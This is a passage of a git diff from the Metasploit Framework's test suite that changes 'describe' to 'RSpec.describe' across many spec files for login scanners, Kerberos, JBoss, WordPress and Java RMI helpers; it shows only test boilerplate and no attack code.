b/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb index 90f5d6924b..0c942b35c7 100644 --- a/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/telnet' -describe Metasploit::Framework::LoginScanner::Telnet do +RSpec.describe Metasploit::Framework::LoginScanner::Telnet do subject(:login_scanner) { described_class.new } diff --git a/spec/lib/metasploit/framework/login_scanner/tomcat_spec.rb b/spec/lib/metasploit/framework/login_scanner/tomcat_spec.rb index ef050c0ba0..1917eaffd0 100644 --- a/spec/lib/metasploit/framework/login_scanner/tomcat_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/tomcat_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/tomcat' -describe Metasploit::Framework::LoginScanner::Tomcat do +RSpec.describe Metasploit::Framework::LoginScanner::Tomcat do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/vmauthd_spec.rb b/spec/lib/metasploit/framework/login_scanner/vmauthd_spec.rb index 07851d7266..6efe54da8e 100644 --- a/spec/lib/metasploit/framework/login_scanner/vmauthd_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/vmauthd_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/vmauthd' -describe Metasploit::Framework::LoginScanner::VMAUTHD do +RSpec.describe Metasploit::Framework::LoginScanner::VMAUTHD do subject(:scanner) { described_class.new } it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false diff --git a/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb index a0c268468d..edc9b03a6c 100644 --- a/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/vnc' -describe Metasploit::Framework::LoginScanner::VNC do +RSpec.describe Metasploit::Framework::LoginScanner::VNC do let(:private) { 'password' } let(:blank) { '' } let(:test_cred) { diff --git a/spec/lib/metasploit/framework/login_scanner/winrm_spec.rb b/spec/lib/metasploit/framework/login_scanner/winrm_spec.rb index a4fc368a70..437d33063d 100644 --- a/spec/lib/metasploit/framework/login_scanner/winrm_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/winrm_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/winrm' -describe Metasploit::Framework::LoginScanner::WinRM do +RSpec.describe Metasploit::Framework::LoginScanner::WinRM do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: true it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb b/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb index 474d52a9bf..1783522211 100644 --- a/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/wordpress_rpc' -describe Metasploit::Framework::LoginScanner::WordpressRPC do +RSpec.describe Metasploit::Framework::LoginScanner::WordpressRPC do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/zabbix_spec.rb b/spec/lib/metasploit/framework/login_scanner/zabbix_spec.rb index 84b87a7c1e..4e467b96d6 100644 --- a/spec/lib/metasploit/framework/login_scanner/zabbix_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/zabbix_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/zabbix' -describe Metasploit::Framework::LoginScanner::Zabbix do +RSpec.describe Metasploit::Framework::LoginScanner::Zabbix do subject(:http_scanner) { described_class.new } diff --git a/spec/lib/metasploit/framework/login_scanner_spec.rb b/spec/lib/metasploit/framework/login_scanner_spec.rb index 7b22109bf8..7df8840d3a 100644 --- a/spec/lib/metasploit/framework/login_scanner_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner_spec.rb @@ -4,7 +4,7 @@ require 'metasploit/framework/login_scanner/http' require 'metasploit/framework/login_scanner/smb' require 'metasploit/framework/login_scanner/vnc' -describe Metasploit::Framework::LoginScanner do +RSpec.describe Metasploit::Framework::LoginScanner do subject { described_class.classes_for_service(service) } let(:port) { nil } diff --git a/spec/lib/msf/base/sessions/meterpreter_spec.rb b/spec/lib/msf/base/sessions/meterpreter_spec.rb index 622d711571..8023907520 100644 --- a/spec/lib/msf/base/sessions/meterpreter_spec.rb +++ b/spec/lib/msf/base/sessions/meterpreter_spec.rb @@ -3,7 +3,7 @@ require 'msf/base/sessions/meterpreter' require 'rex/post/meterpreter/extensions/stdapi/net/interface' require 'rex/post/meterpreter/extensions/stdapi/net/route' -describe Msf::Sessions::Meterpreter do +RSpec.describe Msf::Sessions::Meterpreter do before do allow_any_instance_of(Rex::Post::Meterpreter::PacketDispatcher).to receive(:monitor_socket) end diff --git a/spec/lib/msf/base/simple/framework_spec.rb b/spec/lib/msf/base/simple/framework_spec.rb index d2ca4b86f4..638f2273f6 100644 --- a/spec/lib/msf/base/simple/framework_spec.rb +++ b/spec/lib/msf/base/simple/framework_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -describe Msf::Simple::Framework do +RSpec.describe Msf::Simple::Framework do include_context 'Msf::Simple::Framework' subject do diff --git a/spec/lib/msf/core/author_spec.rb b/spec/lib/msf/core/author_spec.rb index db923e4409..fa603d5a5f 100644 --- a/spec/lib/msf/core/author_spec.rb +++ b/spec/lib/msf/core/author_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -describe Msf::Author do +RSpec.describe Msf::Author do context 'KNOWN' do subject(:known) { diff --git a/spec/lib/msf/core/auxiliary/drdos_spec.rb b/spec/lib/msf/core/auxiliary/drdos_spec.rb index ec4f9ce417..78720a628e 100644 --- a/spec/lib/msf/core/auxiliary/drdos_spec.rb +++ b/spec/lib/msf/core/auxiliary/drdos_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/auxiliary/drdos' -describe Msf::Auxiliary::DRDoS do +RSpec.describe Msf::Auxiliary::DRDoS do subject do mod = Module.new mod.extend described_class diff --git a/spec/lib/msf/core/auxiliary/kademlia_spec.rb b/spec/lib/msf/core/auxiliary/kademlia_spec.rb index 6873874881..9f5febaba8 100644 --- a/spec/lib/msf/core/auxiliary/kademlia_spec.rb +++ b/spec/lib/msf/core/auxiliary/kademlia_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/auxiliary/kademlia' -describe Msf::Auxiliary::Kademlia do +RSpec.describe Msf::Auxiliary::Kademlia do subject(:kad) do mod = Module.new mod.extend described_class diff --git a/spec/lib/msf/core/data_store_spec.rb b/spec/lib/msf/core/data_store_spec.rb index eb3d44f674..fad47dffdc 100644 --- a/spec/lib/msf/core/data_store_spec.rb +++ b/spec/lib/msf/core/data_store_spec.rb @@ -32,7 +32,7 @@ shared_examples "datastore" do end end -describe Msf::DataStore do +RSpec.describe Msf::DataStore do describe "#import_option" do subject do diff --git a/spec/lib/msf/core/encoded_payload_spec.rb b/spec/lib/msf/core/encoded_payload_spec.rb index 1a5c811da3..18f126fda0 100644 --- a/spec/lib/msf/core/encoded_payload_spec.rb +++ b/spec/lib/msf/core/encoded_payload_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'msf/core/encoded_payload' -describe Msf::EncodedPayload do +RSpec.describe Msf::EncodedPayload do include_context 'Msf::Simple::Framework#modules loading' before do diff --git a/spec/lib/msf/core/exe/segment_appender_spec.rb b/spec/lib/msf/core/exe/segment_appender_spec.rb index 5725eba822..7fd5dadbec 100644 --- a/spec/lib/msf/core/exe/segment_appender_spec.rb +++ b/spec/lib/msf/core/exe/segment_appender_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'msf/core/exe/segment_appender' -describe Msf::Exe::SegmentAppender do +RSpec.describe Msf::Exe::SegmentAppender do let(:opts) do option_hash = { diff --git a/spec/lib/msf/core/exe/segment_injector_spec.rb b/spec/lib/msf/core/exe/segment_injector_spec.rb index 3dd710cee5..fdb98111e1 100644 --- a/spec/lib/msf/core/exe/segment_injector_spec.rb +++ b/spec/lib/msf/core/exe/segment_injector_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'msf/core/exe/segment_injector' -describe Msf::Exe::SegmentInjector do +RSpec.describe Msf::Exe::SegmentInjector do let(:opts) do option_hash = { diff --git a/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb index 97626b61d3..0192c6c71f 100644 --- a/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb @@ -1,6 +1,6 @@ require 'msf/core' -describe Msf::Exploit::Remote::BrowserAutopwn2 do +RSpec.describe Msf::Exploit::Remote::BrowserAutopwn2 do diff --git a/spec/lib/msf/core/exploit/capture_spec.rb b/spec/lib/msf/core/exploit/capture_spec.rb index 54dc471192..e2be757b85 100644 --- a/spec/lib/msf/core/exploit/capture_spec.rb +++ b/spec/lib/msf/core/exploit/capture_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/module' require 'msf/core/exploit/capture' -describe Msf::Exploit::Capture do +RSpec.describe Msf::Exploit::Capture do subject do mod = Msf::Module.new diff --git a/spec/lib/msf/core/exploit/cmdstager_spec.rb b/spec/lib/msf/core/exploit/cmdstager_spec.rb index ac64c3dce7..9da9b54ced 100644 --- a/spec/lib/msf/core/exploit/cmdstager_spec.rb +++ b/spec/lib/msf/core/exploit/cmdstager_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/exploit/cmdstager' -describe Msf::Exploit::CmdStager do +RSpec.describe Msf::Exploit::CmdStager do def create_exploit(info ={}) mod = Msf::Exploit.allocate diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index 7edffaa04f..69aed1354c 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/data_store' require 'msf/core/exploit/http/client' -describe Msf::Exploit::Remote::HttpClient do +RSpec.describe Msf::Exploit::Remote::HttpClient do subject do mod = ::Msf::Module.new mod.extend described_class diff --git a/spec/lib/msf/core/exploit/http/jboss/base_spec.rb b/spec/lib/msf/core/exploit/http/jboss/base_spec.rb index db6472f006..ddb06d7ff0 100644 --- a/spec/lib/msf/core/exploit/http/jboss/base_spec.rb +++ b/spec/lib/msf/core/exploit/http/jboss/base_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/exploit/http/jboss' -describe Msf::Exploit::Remote::HTTP::JBoss::Base do +RSpec.describe Msf::Exploit::Remote::HTTP::JBoss::Base do subject do mod = ::Msf::Exploit.new mod.extend Msf::Exploit::Remote::HTTP::JBoss diff --git a/spec/lib/msf/core/exploit/http/jboss/bean_shell_scripts_spec.rb b/spec/lib/msf/core/exploit/http/jboss/bean_shell_scripts_spec.rb index dc9d7e9351..ac10a2504f 100644 --- a/spec/lib/msf/core/exploit/http/jboss/bean_shell_scripts_spec.rb +++ b/spec/lib/msf/core/exploit/http/jboss/bean_shell_scripts_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/exploit/http/jboss' -describe Msf::Exploit::Remote::HTTP::JBoss::BeanShellScripts do +RSpec.describe Msf::Exploit::Remote::HTTP::JBoss::BeanShellScripts do subject do mod = ::Msf::Exploit.new mod.extend Msf::Exploit::Remote::HTTP::JBoss diff --git a/spec/lib/msf/core/exploit/http/jboss/bean_shell_spec.rb b/spec/lib/msf/core/exploit/http/jboss/bean_shell_spec.rb index cec971646e..dc3084c892 100644 --- a/spec/lib/msf/core/exploit/http/jboss/bean_shell_spec.rb +++ b/spec/lib/msf/core/exploit/http/jboss/bean_shell_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/exploit/http/jboss' -describe Msf::Exploit::Remote::HTTP::JBoss::BeanShell do +RSpec.describe Msf::Exploit::Remote::HTTP::JBoss::BeanShell do subject do mod = ::Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts_spec.rb b/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts_spec.rb index e16ce384e3..dca1a5778c 100644 --- a/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts_spec.rb +++ b/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/exploit/http/jboss' -describe Msf::Exploit::Remote::HTTP::JBoss::DeploymentFileRepositoryScripts do +RSpec.describe Msf::Exploit::Remote::HTTP::JBoss::DeploymentFileRepositoryScripts do subject do mod = ::Msf::Exploit.new mod.extend Msf::Exploit::Remote::HTTP::JBoss diff --git a/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_spec.rb b/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_spec.rb index 8644b235fc..096bcf75d3 100644 --- a/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_spec.rb +++ b/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_spec.rb @@ -4,8 +4,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/exploit/http/jboss' -describe Msf::Exploit::Remote::HTTP::JBoss::DeploymentFileRepository do - +RSpec.describe Msf::Exploit::Remote::HTTP::JBoss::DeploymentFileRepository do subject do mod = ::Msf::Exploit.new mod.extend Msf::Exploit::Remote::HTTP::JBoss diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index 929d8e6f62..7bf4dbfeda 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -5,7 +5,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/exploit/http/server' -describe Msf::Exploit::Remote::HttpServer do +RSpec.describe Msf::Exploit::Remote::HttpServer do subject(:server_module) do mod = Msf::Exploit.allocate diff --git a/spec/lib/msf/core/exploit/http/typo3_spec.rb b/spec/lib/msf/core/exploit/http/typo3_spec.rb index f1f9740871..1d87c99f4c 100644 --- a/spec/lib/msf/core/exploit/http/typo3_spec.rb +++ b/spec/lib/msf/core/exploit/http/typo3_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'rex/proto/http/response' require 'msf/core/exploit/http/typo3' -describe Msf::Exploit::Remote::HTTP::Typo3 do +RSpec.describe Msf::Exploit::Remote::HTTP::Typo3 do subject do mod = ::Msf::Module.new mod.extend described_class diff --git a/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb index e89f0e1e26..f49b4c4fd0 100644 --- a/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb +++ b/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb @@ -6,7 +6,7 @@ require 'msf/core/exploit' require 'rex/proto/http/response' require 'msf/core/exploit/http/wordpress' -describe Msf::Exploit::Remote::HTTP::Wordpress::Base do +RSpec.describe Msf::Exploit::Remote::HTTP::Wordpress::Base do subject do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::HTTP::Wordpress diff --git a/spec/lib/msf/core/exploit/http/wordpress/login_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/login_spec.rb index 931219060f..05e8d90e51 100644 --- a/spec/lib/msf/core/exploit/http/wordpress/login_spec.rb +++ b/spec/lib/msf/core/exploit/http/wordpress/login_spec.rb @@ -6,7 +6,7 @@ require 'msf/core/exploit' require 'rex/proto/http/response' require 'msf/core/exploit/http/wordpress' -describe Msf::Exploit::Remote::HTTP::Wordpress::Login do +RSpec.describe Msf::Exploit::Remote::HTTP::Wordpress::Login do subject do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::HTTP::Wordpress diff --git a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb index 9a48bf8f48..d4e8e48c50 100644 --- a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb +++ b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb @@ -6,7 +6,7 @@ require 'msf/core/exploit' require 'rex/proto/http/response' require 'msf/core/exploit/http/wordpress' -describe Msf::Exploit::Remote::HTTP::Wordpress::Version do +RSpec.describe Msf::Exploit::Remote::HTTP::Wordpress::Version do subject do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::HTTP::Wordpress diff --git a/spec/lib/msf/core/exploit/kerberos/client/as_request_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/as_request_spec.rb index c1be46e24a..e7a66ae72e 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/as_request_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/as_request_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/proto/kerberos' require 'msf/core/exploit/kerberos/client' -describe Msf::Exploit::Remote::Kerberos::Client::AsRequest do +RSpec.describe Msf::Exploit::Remote::Kerberos::Client::AsRequest do subject do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Kerberos::Client diff --git a/spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb index cebe701d68..fa20d13370 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/proto/kerberos' require 'msf/core/exploit/kerberos/client' -describe Msf::Exploit::Remote::Kerberos::Client::AsResponse do +RSpec.describe Msf::Exploit::Remote::Kerberos::Client::AsResponse do subject do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Kerberos::Client diff --git a/spec/lib/msf/core/exploit/kerberos/client/base_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/base_spec.rb index 87fb9e42ca..f0da75d145 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/base_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/base_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/proto/kerberos' require 'msf/core/exploit/kerberos/client' -describe Msf::Exploit::Remote::Kerberos::Client::Base do +RSpec.describe Msf::Exploit::Remote::Kerberos::Client::Base do subject do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Kerberos::Client diff --git a/spec/lib/msf/core/exploit/kerberos/client/cache_credential_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/cache_credential_spec.rb index 159caf6b9d..1e54008f59 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/cache_credential_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/cache_credential_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/proto/kerberos' require 'msf/core/exploit/kerberos/client' -describe Msf::Exploit::Remote::Kerberos::Client::CacheCredential do +RSpec.describe Msf::Exploit::Remote::Kerberos::Client::CacheCredential do subject do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Kerberos::Client diff --git a/spec/lib/msf/core/exploit/kerberos/client/pac_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/pac_spec.rb index 698872fc5a..902edbac9e 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/pac_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/pac_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/proto/kerberos' require 'msf/core/exploit/kerberos/client' -describe Msf::Exploit::Remote::Kerberos::Client::Pac do +RSpec.describe Msf::Exploit::Remote::Kerberos::Client::Pac do subject do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Kerberos::Client diff --git a/spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb index 842ea2af51..80885d24e7 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/proto/kerberos' require 'msf/core/exploit/kerberos/client' -describe Msf::Exploit::Remote::Kerberos::Client::TgsRequest do +RSpec.describe Msf::Exploit::Remote::Kerberos::Client::TgsRequest do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Kerberos::Client diff --git a/spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb index 6f399b0f82..ed9c0fb6de 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/proto/kerberos' require 'msf/core/exploit/kerberos/client' -describe Msf::Exploit::Remote::Kerberos::Client::TgsResponse do +RSpec.describe Msf::Exploit::Remote::Kerberos::Client::TgsResponse do subject do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Kerberos::Client diff --git a/spec/lib/msf/core/exploit/powershell_spec.rb b/spec/lib/msf/core/exploit/powershell_spec.rb index 14b24dde41..cccbad02e6 100644 --- a/spec/lib/msf/core/exploit/powershell_spec.rb +++ b/spec/lib/msf/core/exploit/powershell_spec.rb @@ -8,7 +8,7 @@ def decompress(code) Rex::Powershell::Script.new(code).decompress_code end -describe Msf::Exploit::Powershell do +RSpec.describe Msf::Exploit::Powershell do subject do mod = Msf::Exploit.allocate mod.extend described_class diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 7b0cb6a545..92b672f17e 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -1,7 +1,7 @@ #require 'spec_helper' require 'msf/core' -describe Msf::Exploit::Remote::BrowserExploitServer do +RSpec.describe Msf::Exploit::Remote::BrowserExploitServer do let(:in_memory_profile) do { diff --git a/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb b/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb index a771fff517..e942293e44 100644 --- a/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb @@ -1,6 +1,6 @@ require 'msf/core' -describe Msf::Exploit::Remote::BrowserProfileManager do +RSpec.describe Msf::Exploit::Remote::BrowserProfileManager do subject do mod = Msf::Exploit::Remote.allocate diff --git a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb index b6f5a7d4d0..d3be110685 100644 --- a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb +++ b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'msf/core' -describe Msf::Exploit::Remote::FirefoxAddonGenerator do +RSpec.describe Msf::Exploit::Remote::FirefoxAddonGenerator do let(:datastore) { { 'TARGET' => 0 } } let(:jar) { double(:pack => '@JAR@', :build_manifest => nil) } let(:payload) { double(:encoded => '@EXE@', :encoded_jar => jar) } diff --git a/spec/lib/msf/core/exploit/remote/firefox_privilege_escalation_spec.rb b/spec/lib/msf/core/exploit/remote/firefox_privilege_escalation_spec.rb index 392ee8e850..904811c32d 100644 --- a/spec/lib/msf/core/exploit/remote/firefox_privilege_escalation_spec.rb +++ b/spec/lib/msf/core/exploit/remote/firefox_privilege_escalation_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'msf/core' -describe Msf::Exploit::Remote::FirefoxPrivilegeEscalation do +RSpec.describe Msf::Exploit::Remote::FirefoxPrivilegeEscalation do it_should_behave_like 'Msf::Exploit::JSObfu' diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/builder_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/builder_spec.rb index 1a3b7a6992..01443e1f51 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/builder_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/builder_spec.rb @@ -5,7 +5,7 @@ require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/builder' -describe Msf::Exploit::Remote::Java::Rmi::Builder do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Builder do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Java::Rmi::Builder diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection/builder_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection/builder_spec.rb index 4f66a6ee59..ed79f895f6 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection/builder_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection/builder_spec.rb @@ -6,7 +6,7 @@ require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' -describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection::Builder do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection::Builder do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb index 37ceff8bf7..59dae1aa06 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb @@ -6,7 +6,7 @@ require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' require 'stringio' -describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do let(:name_get) { 'DefaultDomain:type=MLet' } diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/builder_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/builder_spec.rb index 1aed0b988d..682b303efb 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/builder_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/builder_spec.rb @@ -6,7 +6,7 @@ require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' -describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Builder do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Builder do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/parser_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/parser_spec.rb index 1aa6e4c984..afae60b120 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/parser_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/parser_spec.rb @@ -5,7 +5,7 @@ require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' -describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Parser do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Parser do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb index 05e9e16ff1..4ce5dbbdf6 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb @@ -6,7 +6,7 @@ require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' require 'stringio' -describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do let(:new_client_response) do "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/builder_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/builder_spec.rb index 6dc4364f4e..a5e10d2be3 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/builder_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/builder_spec.rb @@ -5,7 +5,7 @@ require 'rex/java/serialization' require 'rex/proto/rmi' require 